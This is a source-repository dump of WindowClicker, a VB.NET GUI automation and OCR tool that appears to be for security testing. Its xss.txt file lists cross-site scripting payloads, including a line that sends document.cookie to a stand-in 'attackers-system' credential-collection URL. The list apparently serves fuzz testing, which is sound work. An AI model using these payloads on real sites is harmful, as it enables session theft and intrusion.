Inherits Global.System.Configuration.ApplicationSettingsBase 22 | 23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) 24 | 25 | #Region "My.Settings Auto-Save Functionality" 26 | #If _MyType = "WindowsForms" Then 27 | Private Shared addedHandler As Boolean 28 | 29 | Private Shared addedHandlerLockObject As New Object 30 | 31 | _ 32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) 33 | If My.Application.SaveMySettingsOnExit Then 34 | My.Settings.Save() 35 | End If 36 | End Sub 37 | #End If 38 | #End Region 39 | 40 | Public Shared ReadOnly Property [Default]() As MySettings 41 | Get 42 | 43 | #If _MyType = "WindowsForms" Then 44 | If Not addedHandler Then 45 | SyncLock addedHandlerLockObject 46 | If Not addedHandler Then 47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings 48 | addedHandler = True 49 | End If 50 | End SyncLock 51 | End If 52 | #End If 53 | Return defaultInstance 54 | End Get 55 | End Property 56 | End Class 57 | End Namespace 58 | 59 | Namespace My 60 | 61 | _ 64 | Friend Module MySettingsProperty 65 | 66 | _ 67 | Friend ReadOnly Property Settings() As Global.WindowClicker.My.MySettings 68 | Get 69 | Return Global.WindowClicker.My.MySettings.Default 70 | End Get 71 | End Property 72 | End Module 73 | End Namespace 74 | -------------------------------------------------------------------------------- /WindowLicker/My Project/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /WindowLicker/My Project/app.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /WindowLicker/NewWindow.vb: -------------------------------------------------------------------------------- 1 | ' Copyright (C) 2014 Nick Dunn 2 | ' 3 | ' This program is free software: you can redistribute it and/or modify 4 | ' it under the terms of the GNU General Public License as published by 5 | ' the Free Software Foundation, either version 3 of the License, or 6 | ' (at your option) any later version. 7 | ' 8 | ' This program is distributed in the hope that it will be useful, 9 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | ' GNU General Public License for more details. 12 | ' 13 | ' You should have received a copy of the GNU General Public License 14 | ' along with this program. If not, see . 15 | 16 | Option Explicit On 17 | 18 | Public Class NewWindow 19 | ' Details used to monitor for any new windows which appear 20 | '========================================================= 21 | 22 | Public WindowTitle As String = "" 23 | Public IsCaseSensitive As Boolean = False 24 | Public IsFullTitle As Boolean = True 25 | 26 | Sub New(ByVal NewTitle As String, ByVal MatchFullTitle As Boolean) 27 | WindowTitle = NewTitle 28 | IsCaseSensitive = False ' No way to check case-sensitively in current API 29 | IsFullTitle = MatchFullTitle 30 | End Sub 31 | 32 | End Class 33 | -------------------------------------------------------------------------------- /WindowLicker/ScreenReader.vb: -------------------------------------------------------------------------------- 1 | ' Copyright (C) 2014 Nick Dunn 2 | ' 3 | ' This program is free software: you can redistribute it and/or modify 4 | ' it under the terms of the GNU General Public License as published by 5 | ' the Free Software Foundation, either version 3 of the License, or 6 | ' (at your option) any later version. 7 | ' 8 | ' This program is distributed in the hope that it will be useful, 9 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | ' GNU General Public License for more details. 12 | ' 13 | ' You should have received a copy of the GNU General Public License 14 | ' along with this program. If not, see . 15 | 16 | Option Explicit On 17 | 18 | Imports System.IO 19 | Imports System.Threading 20 | Imports System.Collections.Specialized 21 | 22 | Public Class ScreenReader 23 | ' Used to implement screen reading facilities to monitor user-specified text changes 24 | '=================================================================================== 25 | 26 | 27 | 28 | End Class 29 | -------------------------------------------------------------------------------- /WindowLicker/Snipper.vb: -------------------------------------------------------------------------------- 1 | ' WindowClicker - GUI Automater 2 | ' Copyright (C) 2014 Nick Dunn 3 | ' 4 | ' This program is free software: you can redistribute it and/or modify 5 | ' it under the terms of the GNU General Public License as published by 6 | ' the Free Software Foundation, either version 3 of the License, or 7 | ' (at your option) any later version. 8 | ' 9 | ' This program is distributed in the hope that it will be useful, 10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ' GNU General Public License for more details. 13 | ' 14 | ' You should have received a copy of the GNU General Public License 15 | ' along with this program. If not, see . 16 | 17 | Option Explicit On 18 | 19 | Imports System.Drawing 20 | Imports System.Drawing.Drawing2D 21 | Imports System.Windows.Forms 22 | 23 | 24 | Public Class Snipper 25 | ' The class inherits from form in order to track mouse pointer and display selected area. 26 | ' It exists as a maximized invisible form which tracks the mouse position and displays the 27 | ' selected area back to the user. 28 | '========================================================================================= 29 | 30 | Inherits Form 31 | 32 | Private imgSnipImage As Image 33 | Private rctSelectedArea As New Rectangle() 34 | Private pntStart As Point 35 | 36 | 37 | Public Sub New(ScreenShot As Image) 38 | ' Initialise object with default values 39 | ' Snipper will display an invisible window covering entire screen area 40 | ' Co-ords of selected area will be obtained when user moves mouse 41 | ' across this invisible window 42 | '====================================== 43 | 44 | Me.BackgroundImage = ScreenShot 45 | Me.ShowInTaskbar = False 46 | Me.FormBorderStyle = FormBorderStyle.None 47 | Me.WindowState = FormWindowState.Maximized 48 | Me.DoubleBuffered = True 49 | 50 | End Sub 51 | 52 | Public Sub CopyWithoutUser() 53 | ' Copy a text area without user interaction 54 | '========================================== 55 | 56 | If rctSelectedArea.Width <= 0 OrElse rctSelectedArea.Height <= 0 Then Return 57 | 58 | Image = New Bitmap(rctSelectedArea.Width, rctSelectedArea.Height) 59 | 60 | Using grGraphics As Graphics = Graphics.FromImage(Image) 61 | grGraphics.DrawImage(Me.BackgroundImage, New Rectangle(0, 0, Image.Width, Image.Height), rctSelectedArea, GraphicsUnit.Pixel) 62 | End Using 63 | 64 | DialogResult = DialogResult.OK 65 | 66 | End Sub 67 | 68 | Public Shared Function Snip() As TextArea 'Image 69 | ' Obtain the screen area highlighted by the user as an image 70 | '=========================================================== 71 | Dim rctScreenRect = Screen.PrimaryScreen.Bounds 72 | Dim imgRetVal As Image = Nothing 73 | Dim taRetVal As TextArea = Nothing 74 | 75 | 76 | '== Get screen area as bitmap == 77 | Using bmpScreenArea As New Bitmap(rctScreenRect.Width, rctScreenRect.Height, System.Drawing.Imaging.PixelFormat.Format32bppPArgb) 78 | 79 | '== Copy screen area == 80 | Using grGraphics As Graphics = Graphics.FromImage(bmpScreenArea) 81 | grGraphics.CopyFromScreen(0, 0, 0, 0, bmpScreenArea.Size) 82 | End Using 83 | 84 | '== Set copied area to image, depending on user action (ie. user did not press escape) == 85 | Using snpSnipper = New Snipper(bmpScreenArea) 86 | If snpSnipper.ShowDialog() = DialogResult.OK Then imgRetVal = snpSnipper.Image 87 | taRetVal = New TextArea(0, snpSnipper.rctSelectedArea, imgRetVal) 88 | End Using 89 | End Using 90 | 91 | Return taRetVal 92 | 'Return imgRetVal 93 | 94 | End Function 95 | 96 | Public Property Image() As Image 97 | ' Property to hold screenshot as image 98 | '===================================== 99 | 100 | Get 101 | Return imgSnipImage 102 | End Get 103 | 104 | Set(NewImage As Image) 105 | imgSnipImage = NewImage 106 | End Set 107 | 108 | End Property 109 | 110 | Public Property SelectedArea() As Rectangle 111 | ' Property to hold screen area which holds image 112 | '=============================================== 113 | 114 | Get 115 | Return rctSelectedArea 116 | End Get 117 | 118 | Set(NewSelectedArea As Rectangle) 119 | rctSelectedArea = NewSelectedArea 120 | End Set 121 | 122 | End property 123 | 124 | Protected Overrides Sub OnMouseDown(e As MouseEventArgs) 125 | ' Start snip on mouse-down event 126 | '=============================== 127 | 128 | '== Exit if mouse button is not down == 129 | If e.Button <> MouseButtons.Left Then Return 130 | 131 | pntStart = e.Location 132 | rctSelectedArea = New Rectangle(e.Location, New Size(0, 0)) 133 | Me.Invalidate() 134 | 135 | End Sub 136 | 137 | Protected Overrides Sub OnMouseMove(e As MouseEventArgs) 138 | ' Modify selection on mouse-move event 139 | '===================================== 140 | Dim intXLeft As Integer 141 | Dim intYTop As Integer 142 | Dim intXRight As Integer 143 | Dim intYBottom As Integer 144 | 145 | 146 | '== Exit if mouse button is not down == 147 | If e.Button <> MouseButtons.Left Then Return 148 | 149 | '== Set selected area according to mouse position == 150 | intXLeft = Math.Min(e.X, pntStart.X) 151 | intXRight = Math.Max(e.X, pntStart.X) 152 | intYTop = Math.Min(e.Y, pntStart.Y) 153 | intYBottom = Math.Max(e.Y, pntStart.Y) 154 | 155 | rctSelectedArea = New Rectangle(intXLeft, intYTop, intXRight - intXLeft, intYBottom - intYTop) 156 | 157 | Me.Invalidate() 158 | 159 | End Sub 160 | 161 | Protected Overrides Sub OnMouseUp(e As MouseEventArgs) 162 | ' Complete snipping on mouse-up event 163 | '==================================== 164 | 165 | CopyWithoutUser() 166 | 167 | End Sub 168 | 169 | Protected Overrides Sub OnPaint(e As PaintEventArgs) 170 | ' Draw current selection 171 | '======================= 172 | Dim intXLeft As Integer 173 | Dim intXRight As Integer 174 | Dim intYTop As Integer 175 | Dim intYBottom As Integer 176 | 177 | 178 | '== Set co-ordinates == 179 | intXLeft = rctSelectedArea.X 180 | intXRight = rctSelectedArea.X + rctSelectedArea.Width 181 | intYTop = rctSelectedArea.Y 182 | intYBottom = rctSelectedArea.Y + rctSelectedArea.Height 183 | 184 | '== Highlight selected area == 185 | Using brBrush As Brush = New SolidBrush(Color.FromArgb(120, Color.White)) 186 | e.Graphics.FillRectangle(brBrush, New Rectangle(0, 0, intXLeft, Me.Height)) 187 | e.Graphics.FillRectangle(brBrush, New Rectangle(intXRight, 0, Me.Width - intXRight, Me.Height)) 188 | e.Graphics.FillRectangle(brBrush, New Rectangle(intXLeft, 0, intXRight - intXLeft, intYTop)) 189 | e.Graphics.FillRectangle(brBrush, New Rectangle(intXLeft, intYBottom, intXRight - intXLeft, Me.Height - intYBottom)) 190 | End Using 191 | 192 | '== Draw outline == 193 | Using penRectangle As New Pen(Color.Red, 3) 194 | e.Graphics.DrawRectangle(penRectangle, rctSelectedArea) 195 | End Using 196 | 197 | End Sub 198 | 199 | Protected Overrides Function ProcessCmdKey(ByRef msg As Message, keyData As Keys) As Boolean 200 | ' Allow user to cancel snip with Escape key 201 | '========================================== 202 | 203 | If keyData = Keys.Escape Then Me.DialogResult = DialogResult.Cancel 204 | Return MyBase.ProcessCmdKey(msg, keyData) 205 | 206 | End Function 207 | 208 | End Class 209 | -------------------------------------------------------------------------------- /WindowLicker/TextArea.vb: -------------------------------------------------------------------------------- 1 | ' WindowClicker - GUI Automater 2 | ' Copyright (C) 2014 Nick Dunn 3 | ' 4 | ' This program is free software: you can redistribute it and/or modify 5 | ' it under the terms of the GNU General Public License as published by 6 | ' the Free Software Foundation, either version 3 of the License, or 7 | ' (at your option) any later version. 8 | ' 9 | ' This program is distributed in the hope that it will be useful, 10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ' GNU General Public License for more details. 13 | ' 14 | ' You should have received a copy of the GNU General Public License 15 | ' along with this program. If not, see . 16 | 17 | Option Explicit On 18 | 19 | Public Class TextArea 20 | 21 | Public ID As Integer = 0 ' This will uniquely identify each text image/area 22 | Public ScreenArea As Rectangle ' Screen area which holds text 23 | Public SelectedImage As Image ' Image of screen area holding the text 24 | Public ClippedText As String = "" ' Text identified by OCR component 25 | Public ImageFile As String = "" ' Filename associated with image/area 26 | 27 | Public Sub New(IDNum As Integer, SelectedArea As Rectangle, CurrentImage As Image, Optional TextContent As String = "", Optional Filename As String = "") 28 | 29 | ID = IDNum 30 | ScreenArea = SelectedArea 31 | SelectedImage = CurrentImage 32 | ClippedText = TextContent 33 | ImageFile = Filename 34 | 35 | End Sub 36 | 37 | End Class 38 | -------------------------------------------------------------------------------- /WindowLicker/TextReader.vb: -------------------------------------------------------------------------------- 1 | ' WindowClicker - GUI Automater 2 | ' Copyright (C) 2014 Nick Dunn 3 | ' 4 | ' This program is free software: you can redistribute it and/or modify 5 | ' it under the terms of the GNU General Public License as published by 6 | ' the Free Software Foundation, either version 3 of the License, or 7 | ' (at your option) any later version. 8 | ' 9 | ' This program is distributed in the hope that it will be useful, 10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ' GNU General Public License for more details. 13 | ' 14 | ' You should have received a copy of the GNU General Public License 15 | ' along with this program. If not, see . 16 | 17 | Option Explicit On 18 | 19 | Imports System.IO 20 | Imports System.Threading 21 | Imports System.Collections.Specialized 22 | 23 | 24 | Public Class TextReader 25 | 26 | Public ImageDirectory As String = "" 27 | Public TesseractLocation As String = "" 28 | Public TesseractArgs As String = "-l eng" 29 | 30 | Public ImageCount As Integer = 0 31 | 32 | Public Compare As Boolean = False 33 | 34 | Public OriginalTextSnips As New Dictionary(Of String, String) 35 | Public ChangedTextSnips As New Dictionary(Of String, String) 36 | 37 | Private dicProcessList As New Dictionary(Of String, String) 38 | Private procOCR As Process = New Process() 39 | 40 | 41 | Public Sub New(Optional ByVal ImagesLocation As String = "", Optional ByVal OCRReader As String = "C:\tesseract\tesseract.exe", Optional ByVal OCRArgs As String = "-l eng") 42 | ' Instantiate object and provide locations for Tesseract exe and image files 43 | '=========================================================================== 44 | 45 | '== If no images location provided then use temp folder == 46 | If ImagesLocation.Trim = "" Then ImagesLocation = Path.GetTempPath & "\WCScans" 47 | 48 | '== Set file and directory details == 49 | ImageDirectory = ImagesLocation.TrimEnd("\") 50 | TesseractLocation = OCRReader 51 | TesseractArgs = OCRArgs 52 | 53 | procOCR.StartInfo.FileName = TesseractLocation 54 | 55 | '== Reset image count == 56 | ImageCount = 0 57 | 58 | End Sub 59 | 60 | Public Sub ReadImageText() 61 | ' Pass each image to Tesseract and write extracted text to file 62 | '============================================================== 63 | Dim intIndex As Integer = 1 64 | Dim strImageFile As String = "" 65 | 66 | 67 | If ImageCount = 0 Then Exit Sub 68 | 69 | dicProcessList.Clear() 70 | 71 | Try 72 | '== Process file for each screenshot == 73 | Do While intIndex <= ImageCount 74 | 75 | ' Set filename for correct image 76 | strImageFile = ImageDirectory & "\screenshot" & CStr(intIndex) & ".tif" 77 | 78 | ' Create arguments for Tesseract process 79 | procOCR.StartInfo.Arguments = strImageFile & " " & strImageFile & " " & TesseractArgs 80 | procOCR.StartInfo.WindowStyle = ProcessWindowStyle.Hidden 81 | procOCR.StartInfo.CreateNoWindow = True 82 | procOCR.EnableRaisingEvents = True 83 | 84 | ' Send image to Tesseract 85 | AddHandler procOCR.Exited, AddressOf Me.ProcessExited 86 | procOCR.Start() 87 | dicProcessList.Add(procOCR.Id.ToString, strImageFile & ".txt") 88 | 89 | Do While Not procOCR.HasExited 90 | Application.DoEvents() 91 | Loop 92 | intIndex += 1 93 | Loop 94 | Catch ex As Exception 95 | MsgBox("OCR application error: " & ex.Message, MsgBoxStyle.Exclamation, "Error") 96 | End Try 97 | 98 | End Sub 99 | 100 | Friend Sub ProcessExited(ByVal sender As Object, ByVal e As System.EventArgs) 101 | ' Handle exit from process and return value from processed image 102 | '=============================================================== 103 | Dim srInputFile As StreamReader 104 | Dim strTextEntry As String = "" 105 | 106 | 107 | '== Iterate through current Tesseract processes and store or compare results == 108 | For Each deProcess In dicProcessList 109 | 110 | '== Valid process == 111 | If (sender.id.ToString = deProcess.Key) Then 112 | 113 | '== Extract content == 114 | srInputFile = File.OpenText(deProcess.Value) 115 | strTextEntry = srInputFile.ReadToEnd() 116 | 117 | '== Process value as appropriate == 118 | If Not Compare Then 119 | '== First run so add to list of values == 120 | If OriginalTextSnips.ContainsValue(deProcess.Value) Then 121 | OriginalTextSnips.Item(deProcess.Value) = strTextEntry 122 | Else 123 | OriginalTextSnips.Add(deProcess.Value, strTextEntry) 124 | End If 125 | Else 126 | '== Subsequent run so compare new value to old value == 127 | If strTextEntry <> OriginalTextSnips.Item(deProcess.Value) Then 128 | If ChangedTextSnips.ContainsValue(deProcess.Value) Then 129 | ChangedTextSnips.Item(deProcess.Value) = strTextEntry 130 | Else 131 | ChangedTextSnips.Add(deProcess.Value, strTextEntry) 132 | End If 133 | End If 134 | End If 135 | End If 136 | Next 137 | 138 | End Sub 139 | 140 | End Class 141 | -------------------------------------------------------------------------------- /WindowLicker/WindowClicker.vbproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Debug 5 | x86 6 | 7 | 8 | 2.0 9 | {31A1F597-8704-4A10-A5F3-96FC55EE6D33} 10 | WinExe 11 | WindowClicker.My.MyApplication 12 | WindowClicker 13 | WindowClicker 14 | 512 15 | WindowsForms 16 | v4.0 17 | Client 18 | 19 | 20 | x86 21 | true 22 | full 23 | true 24 | true 25 | bin\Debug\ 26 | WindowClicker.xml 27 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 28 | false 29 | 30 | 31 | x86 32 | pdbonly 33 | false 34 | true 35 | true 36 | bin\Release\ 37 | WindowClicker.xml 38 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 39 | false 40 | 41 | 42 | On 43 | 44 | 45 | Binary 46 | 47 | 48 | Off 49 | 50 | 51 | On 52 | 53 | 54 | My Project\app.manifest 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | frmAbout.vb 84 | 85 | 86 | Form 87 | 88 | 89 | frmAddWindow.vb 90 | 91 | 92 | Form 93 | 94 | 95 | frmCurrentWindows.vb 96 | 97 | 98 | Form 99 | 100 | 101 | frmLoopEvent.vb 102 | 103 | 104 | Form 105 | 106 | 107 | frmMain.vb 108 | 109 | 110 | Form 111 | 112 | 113 | frmNewWindows.vb 114 | 115 | 116 | Form 117 | 118 | 119 | frmOptions.vb 120 | 121 | 122 | Form 123 | 124 | 125 | frmProperties.vb 126 | 127 | 128 | Form 129 | 130 | 131 | frmReminder.vb 132 | 133 | 134 | Form 135 | 136 | 137 | frmTextFields.vb 138 | 139 | 140 | Form 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | True 152 | Application.myapp 153 | 154 | 155 | True 156 | True 157 | Resources.resx 158 | 159 | 160 | True 161 | Settings.settings 162 | True 163 | 164 | 165 | 166 | 167 | Form 168 | 169 | 170 | 171 | 172 | 173 | 174 | frmAbout.vb 175 | 176 | 177 | frmAddWindow.vb 178 | 179 | 180 | frmCurrentWindows.vb 181 | 182 | 183 | frmLoopEvent.vb 184 | 185 | 186 | frmMain.vb 187 | 188 | 189 | frmNewWindows.vb 190 | 191 | 192 | frmOptions.vb 193 | 194 | 195 | frmProperties.vb 196 | 197 | 198 | frmReminder.vb 199 | 200 | 201 | frmTextFields.vb 202 | 203 | 204 | VbMyResourcesResXFileCodeGenerator 205 | Resources.Designer.vb 206 | My.Resources 207 | Designer 208 | 209 | 210 | 211 | 212 | 213 | MyApplicationCodeGenerator 214 | Application.Designer.vb 215 | 216 | 217 | SettingsSingleFileGenerator 218 | My 219 | Settings.Designer.vb 220 | 221 | 222 | 223 | 230 | -------------------------------------------------------------------------------- /WindowLicker/WindowClicker.vbproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | ProjectFiles 5 | 6 | -------------------------------------------------------------------------------- /WindowLicker/bin/Debug/WindowClicker.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Debug/WindowClicker.exe -------------------------------------------------------------------------------- /WindowLicker/bin/Debug/WindowClicker.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Debug/WindowClicker.pdb -------------------------------------------------------------------------------- /WindowLicker/bin/Debug/WindowClicker.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Debug/WindowClicker.vshost.exe -------------------------------------------------------------------------------- /WindowLicker/bin/Debug/WindowClicker.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | WindowClicker 6 | 7 | 8 | 9 | 10 | 11 | Returns the cached ResourceManager instance used by this class. 12 | 13 | 14 | 15 | Overrides the current thread's CurrentUICulture property for all 16 | resource lookups using this strongly typed resource class. 17 | 18 | 19 | 20 | A strongly-typed resource class, for looking up localized strings, etc. 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /WindowLicker/bin/Debug/WindowLicker.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Debug/WindowLicker.exe -------------------------------------------------------------------------------- /WindowLicker/bin/Debug/WindowLicker.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Debug/WindowLicker.pdb -------------------------------------------------------------------------------- /WindowLicker/bin/Debug/WindowLicker.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | WindowLicker 6 | 7 | 8 | 9 | 10 | 11 | Returns the cached ResourceManager instance used by this class. 12 | 13 | 14 | 15 | Overrides the current thread's CurrentUICulture property for all 16 | resource lookups using this strongly typed resource class. 17 | 18 | 19 | 20 | A strongly-typed resource class, for looking up localized strings, etc. 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /WindowLicker/bin/Release/WindowClicker.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Release/WindowClicker.exe -------------------------------------------------------------------------------- /WindowLicker/bin/Release/WindowClicker.exe - Shortcut.lnk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Release/WindowClicker.exe - Shortcut.lnk -------------------------------------------------------------------------------- /WindowLicker/bin/Release/WindowClicker.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Release/WindowClicker.pdb -------------------------------------------------------------------------------- /WindowLicker/bin/Release/WindowClicker.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/bin/Release/WindowClicker.vshost.exe -------------------------------------------------------------------------------- /WindowLicker/bin/Release/WindowClicker.vshost.exe.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /WindowLicker/bin/Release/WindowClicker.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | WindowClicker 6 | 7 | 8 | 9 | 10 | 11 | Returns the cached ResourceManager instance used by this class. 12 | 13 | 14 | 15 | Overrides the current thread's CurrentUICulture property for all 16 | resource lookups using this strongly typed resource class. 17 | 18 | 19 | 20 | A strongly-typed resource class, for looking up localized strings, etc. 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /WindowLicker/bin/Release/chars.txt: -------------------------------------------------------------------------------- 1 | % 2 | %00 3 | ! 4 | " 5 | ' 6 | * 7 | & 8 | # 9 | ? 10 | < 11 | > 12 | -------------------------------------------------------------------------------- /WindowLicker/bin/Release/xss.txt: -------------------------------------------------------------------------------- 1 | 2 | "> 3 | 4 | ipt>alert(document.cookie);ipt> 5 | 6 | %3CSCRIPT%3Ealert(document.cookie);%3C%2FSCRIPT%3E 7 | %3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E 8 | 9 | ';alert(String.fromCharCode(88,83,83))//' 10 | >">'> 11 | "> 12 | > 13 | <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> 14 | 15 | click me 16 | ' onload='alert(1) 17 | " onload="alert(1) 18 | 19 | 20 | xxs link 21 | <\IMG\SRC=javascript:alert('XSS')> 22 | = 23 | =%3Cscript%3Ewindow.location="http://attackers-system/creds-collect?token="%2bdocument.cookie%3C/script%3E 24 | 25 | New+content -------------------------------------------------------------------------------- /WindowLicker/frmAbout.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class frmAbout 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | Friend WithEvents TableLayoutPanel As System.Windows.Forms.TableLayoutPanel 18 | Friend WithEvents LogoPictureBox As System.Windows.Forms.PictureBox 19 | Friend WithEvents LabelProductName As System.Windows.Forms.Label 20 | Friend WithEvents LabelVersion As System.Windows.Forms.Label 21 | Friend WithEvents LabelCompanyName As System.Windows.Forms.Label 22 | Friend WithEvents TextBoxDescription As System.Windows.Forms.TextBox 23 | Friend WithEvents OKButton As System.Windows.Forms.Button 24 | Friend WithEvents LabelCopyright As System.Windows.Forms.Label 25 | 26 | 'Required by the Windows Form Designer 27 | Private components As System.ComponentModel.IContainer 28 | 29 | 'NOTE: The following procedure is required by the Windows Form Designer 30 | 'It can be modified using the Windows Form Designer. 31 | 'Do not modify it using the code editor. 32 | _ 33 | Private Sub InitializeComponent() 34 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(frmAbout)) 35 | Me.TableLayoutPanel = New System.Windows.Forms.TableLayoutPanel() 36 | Me.LogoPictureBox = New System.Windows.Forms.PictureBox() 37 | Me.LabelProductName = New System.Windows.Forms.Label() 38 | Me.LabelVersion = New System.Windows.Forms.Label() 39 | Me.LabelCopyright = New System.Windows.Forms.Label() 40 | Me.LabelCompanyName = New System.Windows.Forms.Label() 41 | Me.TextBoxDescription = New System.Windows.Forms.TextBox() 42 | Me.OKButton = New System.Windows.Forms.Button() 43 | Me.TableLayoutPanel.SuspendLayout() 44 | CType(Me.LogoPictureBox, System.ComponentModel.ISupportInitialize).BeginInit() 45 | Me.SuspendLayout() 46 | ' 47 | 'TableLayoutPanel 48 | ' 49 | Me.TableLayoutPanel.ColumnCount = 2 50 | Me.TableLayoutPanel.ColumnStyles.Add(New System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 33.0!)) 51 | Me.TableLayoutPanel.ColumnStyles.Add(New System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 67.0!)) 52 | Me.TableLayoutPanel.Controls.Add(Me.LogoPictureBox, 0, 0) 53 | Me.TableLayoutPanel.Controls.Add(Me.LabelProductName, 1, 0) 54 | Me.TableLayoutPanel.Controls.Add(Me.LabelVersion, 1, 1) 55 | Me.TableLayoutPanel.Controls.Add(Me.LabelCopyright, 1, 2) 56 | Me.TableLayoutPanel.Controls.Add(Me.LabelCompanyName, 1, 3) 57 | Me.TableLayoutPanel.Controls.Add(Me.TextBoxDescription, 1, 4) 58 | Me.TableLayoutPanel.Controls.Add(Me.OKButton, 1, 5) 59 | Me.TableLayoutPanel.Dock = System.Windows.Forms.DockStyle.Fill 60 | Me.TableLayoutPanel.Location = New System.Drawing.Point(9, 9) 61 | Me.TableLayoutPanel.Name = "TableLayoutPanel" 62 | Me.TableLayoutPanel.RowCount = 6 63 | Me.TableLayoutPanel.RowStyles.Add(New System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10.0!)) 64 | Me.TableLayoutPanel.RowStyles.Add(New System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10.0!)) 65 | Me.TableLayoutPanel.RowStyles.Add(New System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10.0!)) 66 | Me.TableLayoutPanel.RowStyles.Add(New System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10.0!)) 67 | Me.TableLayoutPanel.RowStyles.Add(New System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50.0!)) 68 | Me.TableLayoutPanel.RowStyles.Add(New System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10.0!)) 69 | Me.TableLayoutPanel.Size = New System.Drawing.Size(396, 258) 70 | Me.TableLayoutPanel.TabIndex = 0 71 | ' 72 | 'LogoPictureBox 73 | ' 74 | Me.LogoPictureBox.Dock = System.Windows.Forms.DockStyle.Fill 75 | Me.LogoPictureBox.Image = CType(resources.GetObject("LogoPictureBox.Image"), System.Drawing.Image) 76 | Me.LogoPictureBox.Location = New System.Drawing.Point(3, 3) 77 | Me.LogoPictureBox.Name = "LogoPictureBox" 78 | Me.TableLayoutPanel.SetRowSpan(Me.LogoPictureBox, 6) 79 | Me.LogoPictureBox.Size = New System.Drawing.Size(124, 252) 80 | Me.LogoPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage 81 | Me.LogoPictureBox.TabIndex = 0 82 | Me.LogoPictureBox.TabStop = False 83 | ' 